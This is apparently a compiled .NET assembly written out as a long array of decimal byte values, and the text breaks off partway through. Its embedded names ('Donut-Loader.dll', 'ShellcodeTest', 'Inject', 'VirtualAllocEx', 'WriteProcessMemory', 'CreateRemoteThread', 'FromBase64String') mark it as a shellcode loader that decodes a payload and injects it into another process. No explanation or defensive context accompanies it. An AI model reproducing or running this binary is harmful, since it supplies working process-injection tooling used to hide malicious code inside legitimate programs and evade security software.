0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 132, 33, 0, 0, 144, 11, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 3, 0, 62, 0, 0, 0, 1, 0, 0, 17, 0, 2, 142, 105, 23, 254, 2, 10, 6, 45, 13, 2, 22, 154, 40, 16, 0, 0, 10, 128, 12, 0, 0, 4, 2, 23, 154, 128, 11, 0, 0, 4, 2, 23, 154, 128, 10, 0, 0, 4, 126, 11, 0, 0, 4, 126, 10, 0, 0, 4, 126, 12, 0, 0, 4, 40, 8, 0, 0, 6, 38, 42, 0, 0, 19, 48, 7, 0, 140, 0, 0, 0, 2, 0, 0, 17, 0, 4, 40, 18, 0, 0, 10, 10, 6, 111, 19, 0, 0, 10, 40, 20, 0, 0, 10, 0, 6, 40, 10, 0, 0, 6, 22, 254, 1, 19, 7, 17, 7, 45, 4, 2, 11, 43, 2, 3, 11, 7, 40, 21, 0, 0, 10, 12, 32, 58, 4, 0, 0, 22, 6, 111, 19, 0, 0, 10, 40, 2, 0, 0, 6, 13, 9, 126, 22, 0, 0, 10, 8, 142, 105, 184, 32, 0, 48, 0, 0, 31, 64, 40, 5, 0, 0, 6, 19, 4, 9, 17, 4, 8, 8, 142, 105, 184, 18, 5, 40, 6, 0, 0, 6, 38, 9, 126, 22, 0, 0, 10, 22, 17, 4, 126, 22, 0, 0, 10, 22, 126, 22, 0, 0, 10, 40, 7, 0, 0, 6, 38, 22, 19, 6, 43, 0, 17, 6, 42, 19, 48, 2, 0, 23, 0, 0, 0, 3, 0, 0, 17, 0, 22, 10, 2, 111, 23, 0, 0, 10, 18, 0, 40, 9, 0, 0, 6, 38, 6, 11, 43, 0, 7, 42, 146, 114, 1, 0, 0, 112, 128, 10, 0, 0, 4, 114, 1, 0, 0, 112, 128, 11, 0, 0, 4, 40, 24, 0, 0, 10, 111, 19, 0, 0, 10, 128, 12, 0, 0, 4, 42, 30, 2, 40, 25, 0, 0, 10, 42, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 52, 4, 0, 0, 35, 126, 0, 0, 160, 4, 0, 0, 96, 5, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 0, 10, 0, 0, 4, 0, 0, 0, 35, 85, 83, 0, 4, 10, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 20, 10, 0, 0, 124, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 87, 29, 2, 20, 9, 0, 0, 0, 0, 250, 37, 51, 0, 22, 0, 0, 1, 0, 0, 0, 22, 0, 0, 0, 2, 0, 0, 0, 12, 0, 0, 0, 12, 0, 0, 0, 30, 0, 0, 0, 25, 0, 0, 0, 9, 0, 0, 0, 12, 0, 0, 0, 3, 0, 0, 0, 2, 0, 0, 0, 7, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10, 0, 1, 0, 0, 0, 0, 0, 6, 0, 65, 0, 58, 0, 10, 0, 133, 1, 114, 1, 6, 0, 105, 2, 74, 2, 6, 0, 2, 3, 232, 2, 6, 0, 45, 3, 27, 3, 6, 0, 68, 3, 27, 3, 6, 0, 97, 3, 27, 3, 6, 0, 128, 3, 27, 3, 6, 0, 153, 3, 27, 3, 6, 0, 178, 3, 27, 3, 6, 0, 205, 3, 27, 3, 6, 0, 232, 3, 27, 3, 6, 0, 1, 4, 74, 2, 6, 0, 21, 4, 27, 3, 6, 0, 46, 4, 114, 1, 63, 0, 66, 4, 0, 0, 6, 0, 113, 4, 81, 4, 6, 0, 145, 4, 81, 4, 6, 0, 188, 4, 58, 0, 6, 0, 204, 4, 74, 2, 6, 0, 11, 5, 58, 0, 6, 0, 46, 5, 58, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 16, 0, 27, 0, 35, 0, 5, 0, 1, 0, 1, 0, 81, 128, 72, 0, 10, 0, 81, 128, 94, 0, 10, 0, 81, 128, 120, 0, 10, 0, 81, 128, 141, 0, 10, 0, 81, 128, 158, 0, 10, 0, 81, 128, 174, 0, 38, 0, 81, 128, 185, 0, 38, 0, 81, 128, 197, 0, 38, 0, 81, 128, 212, 0, 38, 0, 17, 0, 235, 0, 61, 0, 17, 0, 239, 0, 61, 0, 17, 0, 243, 0, 10, 0, 80, 32, 0, 0, 0, 0, 150, 0, 247, 0, 64, 0, 1, 0, 0, 0, 0, 0, 128, 0, 150, 32, 252, 0, 70, 0, 2, 0, 0, 0, 0, 0, 128, 0, 150, 32, 8, 1, 77, 0, 5, 0, 0, 0, 0, 0, 128, 0, 145, 32, 24, 1, 82, 0, 6, 0, 0, 0, 0, 0, 128, 0, 145, 32, 39, 1, 88, 0, 8, 0, 0, 0, 0, 0, 128, 0, 145, 32, 54, 1, 97, 0, 13, 0, 0, 0, 0, 0, 128, 0, 145, 32, 73, 1, 108, 0, 18, 0, 156, 32, 0, 0, 0, 0, 150, 0, 92, 1, 119, 0, 25, 0, 0, 0, 0, 0, 128, 0, 150, 32, 99, 1, 126, 0, 28, 0, 52, 33, 0, 0, 0, 0, 150, 0, 99, 1, 133, 0, 30, 0, 124, 33, 0, 0, 0, 0, 134, 24, 141, 1, 139, 0, 31, 0, 87, 33, 0, 0, 0, 0, 145, 24, 69, 5, 219, 0, 31, 0, 0, 0, 1, 0, 147, 1, 0, 0, 1, 0, 152, 1, 0, 0, 2, 0, 168, 1, 0, 0, 3, 0, 183, 1, 0, 0, 1, 0, 195, 1, 0, 0, 1, 0, 208, 1, 0, 0, 2, 0, 216, 1, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 234, 1, 0, 0, 3, 0, 244, 1, 0, 0, 4, 0, 251, 1, 0, 0, 5, 0, 12, 2, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 22, 2, 0, 0, 3, 0, 36, 2, 0, 0, 4, 0, 45, 2, 2, 0, 5, 0, 51, 2, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 118, 2, 0, 0, 3, 0, 137, 2, 0, 0, 4, 0, 149, 2, 0, 0, 5, 0, 164, 2, 0, 0, 6, 0, 176, 2, 0, 0, 7, 0, 192, 2, 0, 0, 1, 0, 239, 0, 0, 0, 2, 0, 235, 0, 0, 0, 3, 0, 203, 2, 0, 0, 1, 0, 225, 1, 2, 0, 2, 0, 211, 2, 0, 0, 1, 0, 224, 2, 25, 0, 141, 1, 139, 0, 33, 0, 141, 1, 143, 0, 41, 0, 141, 1, 143, 0, 49, 0, 141, 1, 143, 0, 57, 0, 141, 1, 143, 0, 65, 0, 141, 1, 143, 0, 73, 0, 141, 1, 143, 0, 81, 0, 141, 1, 143, 0, 89, 0, 141, 1, 143, 0, 97, 0, 141, 1, 143, 0, 105, 0, 141, 1, 148, 0, 113, 0, 141, 1, 143, 0, 121, 0, 141, 1, 153, 0, 137, 0, 141, 1, 159, 0, 145, 0, 141, 1, 139, 0, 153, 0, 196, 4, 164, 0, 161, 0, 141, 1, 143, 0, 17, 0, 245, 4, 173, 0, 17, 0, 4, 5, 179, 0, 169, 0, 19, 5, 183, 0, 153, 0, 29, 5, 188, 0, 177, 0, 53, 5, 194, 0, 17, 0, 58, 5, 210, 0, 17, 0, 76, 5, 223, 0, 9, 0, 141, 1, 139, 0, 8, 0, 4, 0, 13, 0, 8, 0, 8, 0, 18, 0, 8, 0, 12, 0, 23, 0, 8, 0, 16, 0, 28, 0, 8, 0, 20, 0, 33, 0, 9, 0, 24, 0, 41, 0, 9, 0, 28, 0, 46, 0, 9, 0, 32, 0, 51, 0, 9, 0, 36, 0, 56, 0, 46, 0, 19, 0, 228, 0, 46, 0, 27, 0, 28, 1, 46, 0, 35, 0, 46, 1, 46, 0, 43, 0, 46, 1, 46, 0, 51, 0, 46, 1, 46, 0, 59, 0, 28, 1, 46, 0, 67, 0, 52, 1, 46, 0, 75, 0, 46, 1, 46, 0, 91, 0, 46, 1, 46, 0, 107, 0, 72, 1, 46, 0, 115, 0, 81, 1, 46, 0, 123, 0, 90, 1, 169, 0, 197, 0, 214, 0, 223, 4, 236, 4, 0, 1, 5, 0, 252, 0, 1, 0, 6, 1, 7, 0, 8, 1, 1, 0, 67, 1, 9, 0, 24, 1, 2, 0, 65, 1, 11, 0, 39, 1, 1, 0, 64, 1, 13, 0, 54, 1, 1, 0, 0, 1, 15, 0, 73, 1, 1, 0, 0, 1, 19, 0, 99, 1, 1, 0, 4, 128, 0, 0, 1, 0, 0, 0, 39, 28, 28, 80, 0, 0, 0, 0, 0, 0, 175, 4, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 49, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 58, 0, 0, 0, 0, 0, 0, 0, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 46, 100, 108, 108, 0, 80, 114, 111, 103, 114, 97, 109, 0, 83, 104, 101, 108, 108, 99, 111, 100, 101, 84, 101, 115, 116, 0, 109, 115, 99, 111, 114, 108, 105, 98, 0, 83, 121, 115, 116, 101, 109, 0, 79, 98, 106, 101, 99, 116, 0, 80, 82, 79, 67, 69, 83, 83, 95, 67, 82, 69, 65, 84, 69, 95, 84, 72, 82, 69, 65, 68, 0, 80, 82, 79, 67, 69, 83, 83, 95, 81, 85, 69, 82, 89, 95, 73, 78, 70, 79, 82, 77, 65, 84, 73, 79, 78, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 79, 80, 69, 82, 65, 84, 73, 79, 78, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 87, 82, 73, 84, 69, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 82, 69, 65, 68, 0, 77, 69, 77, 95, 67, 79, 77, 77, 73, 84, 0, 77, 69, 77, 95, 82, 69, 83, 69, 82, 86, 69, 0, 80, 65, 71, 69, 95, 82, 69, 65, 68, 87, 82, 73, 84, 69, 0, 80, 65, 71, 69, 95, 69, 88, 69, 67, 85, 84, 69, 95, 82, 69, 65, 68, 87, 82, 73, 84, 69, 0, 120, 54, 52, 0, 120, 56, 54, 0, 112, 105, 100, 0, 77, 97, 105, 110, 0, 79, 112, 101, 110, 80, 114, 111, 99, 101, 115, 115, 0, 71, 101, 116, 77, 111, 100, 117, 108, 101, 72, 97, 110, 100, 108, 101, 0, 71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114, 101, 115, 115, 0, 86, 105, 114, 116, 117, 97, 108, 65, 108, 108, 111, 99, 69, 120, 0, 87, 114, 105, 116, 101, 80, 114, 111, 99, 101, 115, 115, 77, 101, 109, 111, 114, 121, 0, 67, 114, 101, 97, 116, 101, 82, 101, 109, 111, 116, 101, 84, 104, 114, 101, 97, 100, 0, 73, 110, 106, 101, 99, 116, 0, 73, 115, 87, 111, 119, 54, 52, 80, 114, 111, 99, 101, 115, 115, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 80, 114, 111, 99, 101, 115, 115, 0, 46, 99, 116, 111, 114, 0, 97, 114, 103, 115, 0, 100, 119, 68, 101, 115, 105, 114, 101, 100, 65, 99, 99, 101, 115, 115, 0, 98, 73, 110, 104, 101, 114, 105, 116, 72, 97, 110, 100, 108, 101, 0, 100, 119, 80, 114, 111, 99, 101, 115, 115, 73, 100, 0, 108, 112, 77, 111, 100, 117, 108, 101, 78, 97, 109, 101, 0, 104, 77, 111, 100, 117, 108, 101, 0, 112, 114, 111, 99, 78, 97, 109, 101, 0, 104, 80, 114, 111, 99, 101, 115, 115, 0, 108, 112, 65, 100, 100, 114, 101, 115, 115, 0, 100, 119, 83, 105, 122, 101, 0, 102, 108, 65, 108, 108, 111, 99, 97, 116, 105, 111, 110, 84, 121, 112, 101, 0, 102, 108, 80, 114, 111, 116, 101, 99, 116, 0, 108, 112, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 66, 117, 102, 102, 101, 114, 0, 110, 83, 105, 122, 101, 0, 108, 112, 78, 117, 109, 98, 101, 114, 79, 102, 66, 121, 116, 101, 115, 87, 114, 105, 116, 116, 101, 110, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 79, 117, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 108, 112, 84, 104, 114, 101, 97, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 115, 0, 100, 119, 83, 116, 97, 99, 107, 83, 105, 122, 101, 0, 108, 112, 83, 116, 97, 114, 116, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 80, 97, 114, 97, 109, 101, 116, 101, 114, 0, 100, 119, 67, 114, 101, 97, 116, 105, 111, 110, 70, 108, 97, 103, 115, 0, 108, 112, 84, 104, 114, 101, 97, 100, 73, 100, 0, 112, 114, 111, 99, 80, 73, 68, 0, 108, 112, 83, 121, 115, 116, 101, 109, 73, 110, 102, 111, 0, 112, 114, 111, 99, 101, 115, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 112, 121, 114, 105, 103, 104, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 114, 97, 100, 101, 109, 97, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 117, 108, 116, 117, 114, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 67, 111, 109, 86, 105, 115, 105, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 0, 67, 111, 110, 118, 101, 114, 116, 0, 84, 111, 73, 110, 116, 51, 50, 0, 68, 108, 108, 73, 109, 112, 111, 114, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0, 107, 101, 114, 110, 101, 108, 51, 50, 0, 71, 101, 116, 80, 114, 111, 99, 101, 115, 115, 66, 121, 73, 100, 0, 103, 101, 116, 95, 73, 100, 0, 67, 111, 110, 115, 111, 108, 101, 0, 87, 114, 105, 116, 101, 76, 105, 110, 101, 0, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103, 0, 73, 110, 116, 80, 116, 114, 0, 90, 101, 114, 111, 0, 103, 101, 116, 95, 72, 97, 110, 100, 108, 101, 0, 46, 99, 99, 116, 111, 114, 0, 71, 101, 116, 67, 117, 114, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 0, 0, 0, 0, 1, 0, 0, 53, 180, 151, 58, 106, 46, 12, 74, 148, 130, 6, 14, 180, 48, 63, 230, 0, 8, 183, 122, 92, 86, 25, 52, 224, 137, 2, 6, 8, 4, 2, 0, 0, 0, 4, 0, 4, 0, 0, 4, 8, 0, 0, 0, 4, 32, 0, 0, 0, 4, 16, 0, 0, 0, 2, 6, 9, 4, 0, 16, 0, 0, 4, 0, 32, 0, 0, 4, 4, 0, 0, 0, 4, 64, 0, 0, 0, 2, 6, 14, 5, 0, 1, 1, 29, 14, 6, 0, 3, 24, 8, 2, 8, 4, 0, 1, 24, 14, 5, 0, 2, 24, 24, 14, 8, 0, 5, 24, 24, 24, 9, 9, 9, 10, 0, 5, 2, 24, 24, 29, 5, 9, 16, 25, 10, 0, 7, 24, 24, 24, 9, 24, 24, 9, 24, 6, 0, 3, 8, 14, 14, 8, 6, 0, 2, 2, 24, 16, 2, 5, 0, 1, 2, 18, 9, 3, 32, 0, 1, 4, 32, 1, 1, 14, 4, 32, 1, 1, 2, 5, 32, 1, 1, 17, 65, 4, 32, 1, 1, 8, 4, 0, 1, 8, 14, 3, 7, 1, 2, 5, 0, 1, 18, 9, 8, 3, 32, 0, 8, 4, 0, 1, 1, 8, 5, 0, 1, 29, 5, 14, 2, 6, 24, 12, 7, 8, 18, 9, 14, 29, 5, 24, 24, 25, 8, 2, 3, 32, 0, 24, 4, 7, 2, 2, 2, 3, 0, 0, 1, 4, 0, 0, 18, 9, 55, 1, 0, 26, 46, 78, 69, 84, 70, 114, 97, 109, 101, 119, 111, 114, 107, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 52, 46, 53, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 17, 1, 0, 12, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 0, 0, 5, 1, 0, 0, 0, 0, 19, 1, 0, 14, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 50, 48, 49, 57, 0, 0, 8, 1, 0, 7, 1, 0, 0, 0, 0, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 